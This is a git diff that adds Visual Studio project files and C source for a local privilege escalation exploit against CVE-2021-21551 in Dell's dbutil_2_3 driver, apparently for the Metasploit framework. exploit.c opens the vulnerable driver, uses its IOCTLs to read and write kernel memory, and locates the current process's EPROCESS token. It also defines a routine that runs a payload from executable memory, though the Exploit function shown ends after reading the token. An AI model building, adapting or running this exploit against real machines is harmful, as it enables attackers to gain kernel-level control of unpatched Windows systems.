diff --git a/external/source/exploits/CVE-2021-21551/CVE-2021-21551.sln b/external/source/exploits/CVE-2021-21551/CVE-2021-21551.sln new file mode 100755 index 0000000000..a2c639f408 --- /dev/null +++ b/external/source/exploits/CVE-2021-21551/CVE-2021-21551.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31205.134 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-21551", "CVE-2021-21551.vcxproj", "{49BF5C03-2BA1-49DC-BF5F-090172639200}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {49BF5C03-2BA1-49DC-BF5F-090172639200}.Debug|x64.ActiveCfg = Debug|x64 + {49BF5C03-2BA1-49DC-BF5F-090172639200}.Debug|x64.Build.0 = Debug|x64 + {49BF5C03-2BA1-49DC-BF5F-090172639200}.Debug|x86.ActiveCfg = Debug|Win32 + {49BF5C03-2BA1-49DC-BF5F-090172639200}.Debug|x86.Build.0 = Debug|Win32 + {49BF5C03-2BA1-49DC-BF5F-090172639200}.Release|x64.ActiveCfg = Release|x64 + {49BF5C03-2BA1-49DC-BF5F-090172639200}.Release|x64.Build.0 = Release|x64 + {49BF5C03-2BA1-49DC-BF5F-090172639200}.Release|x86.ActiveCfg = Release|Win32 + {49BF5C03-2BA1-49DC-BF5F-090172639200}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {5B88D6B4-8084-4B6A-A5F7-00912F52E630} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/CVE-2021-21551/CVE-2021-21551.vcxproj b/external/source/exploits/CVE-2021-21551/CVE-2021-21551.vcxproj new file mode 100755 index 0000000000..5600e9e74c --- /dev/null +++ b/external/source/exploits/CVE-2021-21551/CVE-2021-21551.vcxproj @@ -0,0 +1,237 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {49bf5c03-2ba1-49dc-bf5f-090172639200} + Win32Proj + CVE_2021_21551 + 10.0 + + + + DynamicLibrary + true + v142 + MultiByte + + + DynamicLibrary + false + v142 + false + MultiByte + + + DynamicLibrary + true + v142 + MultiByte + + + DynamicLibrary + false + v142 + false + MultiByte + + + + + + + + + + + + + + + + + + + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + + NotUsing + Level3 + true + WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + ProgramDatabase + true + OnlyExplicitInline + true + MultiThreaded + false + + + Windows + true + false + true + $(OutDir)$(TargetName).pdb + $(OutDir)$(TargetName).map + false + $(OutDir)$(ProjectName).lib + %(AdditionalLibraryDirectories) + + + + + NotUsing + Level3 + true + _DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;DEBUGTRACE;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + ProgramDatabase + true + OnlyExplicitInline + true + MultiThreaded + false + + + Windows + true + false + true + $(OutDir)$(TargetName).pdb + $(OutDir)$(TargetName).map + false + $(OutDir)$(ProjectName).lib + %(AdditionalLibraryDirectories) + + + + + NotUsing + Level3 + false + false + + + WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + true + OnlyExplicitInline + true + MultiThreaded + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + + + Windows + true + true + false + false + %(AdditionalLibraryDirectories) + false + $(OutDir)$(TargetName).map + $(OutDir)$(TargetName).pdb + false + $(OutDir)$(ProjectName).lib + + + + + NotUsing + Level3 + false + false + + + NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + true + OnlyExplicitInline + true + MultiThreaded + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + + + Windows + true + true + false + false + %(AdditionalLibraryDirectories) + false + $(OutDir)$(TargetName).map + $(OutDir)$(TargetName).pdb + false + $(OutDir)$(ProjectName).lib + + + + + + CompileAsC + CompileAsC + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2021-21551/common.h b/external/source/exploits/CVE-2021-21551/common.h new file mode 100755 index 0000000000..3d69ba399a --- /dev/null +++ b/external/source/exploits/CVE-2021-21551/common.h @@ -0,0 +1,30 @@ +#pragma once + +#include +#include +#include + +#ifdef DEBUGTRACE +#define dprintf(...) real_dprintf(__VA_ARGS__) +#else +#define dprintf(...) do{}while(0); +#endif + +/*! + * @brief Output a debug string to the debug console. + * @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed + * using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_. + */ +static _inline void real_dprintf(char* format, ...) +{ + va_list args; + char buffer[1024]; + size_t len; + _snprintf_s(buffer, sizeof(buffer), sizeof(buffer) - 1, "[%04x] ", GetCurrentThreadId()); + len = strlen(buffer); + va_start(args, format); + vsnprintf_s(buffer + len, sizeof(buffer) - len, sizeof(buffer) - len - 3, format, args); + strcat_s(buffer, sizeof(buffer), "\r\n"); + OutputDebugStringA(buffer); + va_end(args); +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2021-21551/definitions.h b/external/source/exploits/CVE-2021-21551/definitions.h new file mode 100755 index 0000000000..b8cd61421d --- /dev/null +++ b/external/source/exploits/CVE-2021-21551/definitions.h @@ -0,0 +1,96 @@ +#pragma once + +#include +#include + +#ifndef NTSTATUS +typedef long NTSTATUS; +#endif + +typedef struct _EPROCESS_OFFSETS { + WORD ActiveProcessLinks; + WORD Token; + WORD UniqueProcessId; +} EPROCESS_OFFSETS; +typedef EPROCESS_OFFSETS* PEPROCESS_OFFSETS; + +const static EPROCESS_OFFSETS g_EprocessOffsets1803 = { 0x2f0, 0x360, 0x2e8 }; /* Windows 10 v1803 - v1909 */ +const static EPROCESS_OFFSETS g_EprocessOffsets2004 = { 0x448, 0x4b8, 0x440 }; /* Windows 10 v2004 - v20H2 */ + +typedef struct _MSF_PAYLOAD { + DWORD dwSize; + CHAR cPayloadData[]; +} MSF_PAYLOAD; +typedef MSF_PAYLOAD* PMSF_PAYLOAD; + +DWORD Exploit(PVOID pPayload); + +// https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm?ts=0,80 +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO; +typedef SYSTEM_HANDLE_TABLE_ENTRY_INFO* PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[]; +} SYSTEM_HANDLE_INFORMATION; +typedef SYSTEM_HANDLE_INFORMATION* PSYSTEM_HANDLE_INFORMATION; + +typedef enum _SYSTEM_INFORMATION_CLASS // this is an incomplete definition +{ + SystemBasicInformation = 0, // 3.10 and higher + SystemProcessorInformation = 1, // 3.10 and higher + SystemPerformanceInformation = 2, // 3.10 and higher + SystemTimeOfDayInformation = 3, // 3.10 and higher + SystemPathInformation = 4, // 3.10 and higher + SystemProcessInformation = 5, // 3.10 and higher + SystemProcessorPerformanceInformation = 8, // 3.10 and higher + SystemFlagsInformation = 9, // 3.10 and higher + SystemCallTimeInformation = 10, // 3.10 and higher + SystemModuleInformation = 11, // 3.10 and higher + SystemLocksInformation = 12, // 3.10 and higher + SystemStackTraceInformation = 13, // 3.10 and higher + SystemPagedPoolInformation = 14, // 3.10 and higher + SystemNonPagedPoolInformation = 15, // 3.10 and higher + SystemHandleInformation = 16, // 3.10 and higher + SystemExceptionInformation = 33, // 3.50 and higher + SystemRegistryQuotaInformation = 37, // 3.51 and higher + SystemLookasideInformation = 45, // 4.0 and higher + SystemBigPoolInformation = 66, // 5.2 and higher + SystemCodeIntegrityInformation = 103, // 6.0 and higher + SystemQueryPerformanceCounterInformation = 124, // 6.1 and higher + SystemKernelVaShadowInformation = 196, // 1803 and higher + SystemSpeculationControlInformation = 201, // 1803 and higher +} SYSTEM_INFORMATION_CLASS; + +typedef NTSTATUS(__stdcall* fNtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + +typedef NTSTATUS(__stdcall* fNtCallbackReturn)( + PVOID Result, + ULONG ResultLength, + NTSTATUS CallbackStateus + ); + +typedef NTSTATUS(__stdcall* fNtUserConsoleControl)( + DWORD ConsoleCtrl, + PVOID ConsoleCtrlInfo, + ULONG ConsoleCtrlInfoLength + ); + +typedef VOID(__stdcall* fRtlGetNtVersionNumbers)( + DWORD* MajorVersion, + DWORD* MinorVersion, + DWORD* BuildNumber + ); \ No newline at end of file diff --git a/external/source/exploits/CVE-2021-21551/dllmain.c b/external/source/exploits/CVE-2021-21551/dllmain.c new file mode 100755 index 0000000000..8a44f0117f --- /dev/null +++ b/external/source/exploits/CVE-2021-21551/dllmain.c @@ -0,0 +1,37 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "ReflectiveLoader.c" +#include "definitions.h" + +#include +#include +#include + +LPVOID main(LPVOID lpReserved) { + Exploit(lpReserved); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE*)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + main(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/CVE-2021-21551/exploit.c b/external/source/exploits/CVE-2021-21551/exploit.c new file mode 100755 index 0000000000..8f59b03669 --- /dev/null +++ b/external/source/exploits/CVE-2021-21551/exploit.c @@ -0,0 +1,157 @@ +#include "common.h" +#include "definitions.h" + +#include + +const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL; +fNtQuerySystemInformation NtQuerySystemInformation = NULL; +fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL; + +void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { + PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pPayload) + return; + CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize); + CreateThread(NULL, 0, pPayload, NULL, 0, NULL); +} + +BOOL ResolveRequirements(void) { + HMODULE hNtdll = GetModuleHandle("ntdll"); + + if (hNtdll == NULL) { + return FALSE; + } + + NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"); + if (NtQuerySystemInformation == NULL) { + return FALSE; + } + + if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) { + return FALSE; + } + + /* get the version to determine the necessary eprocess offsets */ + DWORD dwMajor, dwMinor, dwBuild; + RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild); + if (!((dwMajor == 10) && (dwMinor == 0))) { + return FALSE; + } + dwBuild = LOWORD(dwBuild); + /* older than v1803 */ + if (dwBuild < 17134) { + return FALSE; + } + /* v1803 - v1909*/ + else if (dwBuild < 19041) { + g_pEprocessOffsets = &g_EprocessOffsets1803; + } + /* v2004 - v20H2 */ + else if (dwBuild < 19043) { + g_pEprocessOffsets = &g_EprocessOffsets2004; + } + else { + return FALSE; + } + + return TRUE; +} + + +PSYSTEM_HANDLE_TABLE_ENTRY_INFO GetHandleEntryInfo(HANDLE hHandle, DWORD dwProcessId) { + HANDLE hProcessHeap = GetProcessHeap(); + DWORD dwSize = 4096; + DWORD dwReturnSize = 0; + PSYSTEM_HANDLE_INFORMATION pSystemHandles = NULL; + PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL; + NTSTATUS Status = STATUS_UNSUCCESSFUL; + + do { + if (pSystemHandles) { + HeapFree(hProcessHeap, 0, pSystemHandles); + pSystemHandles = NULL; + dwSize *= 2; + } + pSystemHandles = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, dwSize); + if (pSystemHandles == NULL) { + return NULL; + } + + Status = NtQuerySystemInformation(SystemHandleInformation, pSystemHandles, dwSize, &dwReturnSize); + } while (Status == STATUS_INFO_LENGTH_MISMATCH); + + if (Status != STATUS_SUCCESS) { + HeapFree(hProcessHeap, 0, pSystemHandles); + return NULL; + } + + for (DWORD dwIndex = 0; dwIndex < pSystemHandles->NumberOfHandles; dwIndex++) { + if (pSystemHandles->Handles[dwIndex].UniqueProcessId != dwProcessId) { + continue; + } + if ((HANDLE)pSystemHandles->Handles[dwIndex].HandleValue != hHandle) { + continue; + } + + if (pHandleEntryInfo = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))) { + CopyMemory(pHandleEntryInfo, &pSystemHandles->Handles[dwIndex], sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)); + } + break; + } + HeapFree(hProcessHeap, 0, pSystemHandles); + return pHandleEntryInfo; +} + +// this is a over-simplification of the primitives to just do a ULONG_PTR at a time +// they can actually be used to transfer an arbitrary amount of data +ULONG_PTR KernelRead(HANDLE hDriver, ULONG_PTR SrcAddr) { + DWORD dwBytesReturned = 0; + ULONG_PTR Request[4] = { 0, 0, 0, 0 }; + ULONG_PTR Response[4] = { 0, 0, 0, 0 }; + + Request[1] = SrcAddr; + DeviceIoControl(hDriver, 0x9b0c1ec4, &Request, sizeof(Request), &Response, sizeof(Response), &dwBytesReturned, NULL); + return Response[3]; +} + +VOID KernelWrite(HANDLE hDriver, ULONG_PTR DstAddr, ULONG_PTR Data) { + DWORD dwBytesReturned = 0; + ULONG_PTR Request[4] = { 0, 0, 0, 0 }; + ULONG_PTR Response[4] = { 0, 0, 0, 0 }; + + Request[1] = DstAddr; + Request[3] = Data; + DeviceIoControl(hDriver, 0x9b0c1ec8, &Request, sizeof(Request), &Response, sizeof(Response), &dwBytesReturned, NULL); + return; +} + +DWORD Exploit(PVOID pPayload) { + HANDLE hDriver = INVALID_HANDLE_VALUE; + HANDLE hProc = INVALID_HANDLE_VALUE; + PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL; + + if (!ResolveRequirements()) { + dprintf("[-] Failed to resolve requirements\n"); + return 0; + } + + hDriver = CreateFile(_T("\\\\.\\dbutil_2_3"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (hDriver == INVALID_HANDLE_VALUE) { + dprintf("[-] Failed to get a handle to the driver\n"); + return 0; + } + + hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, GetCurrentProcessId()); + if (hProc == NULL) { + dprintf("[-] Failed to get a handle to the current process\n"); + } + + pHandleEntryInfo = GetHandleEntryInfo(hProc, GetCurrentProcessId()); + if (pHandleEntryInfo == NULL) { + dprintf("[-] Failed to get the handle entry information\n"); + } + + dprintf("[*] Current nt!_EPROCESS found at 0x%p\n", pHandleEntryInfo->Object); + dprintf("[*] nt!_EPROCESS->Token = 0x%p\n", KernelRead(hDriver, (ULONG_PTR)pHandleEntryInfo->Object + g_pEprocessOffsets->Token)); + return 0; +} \ No newline at end of file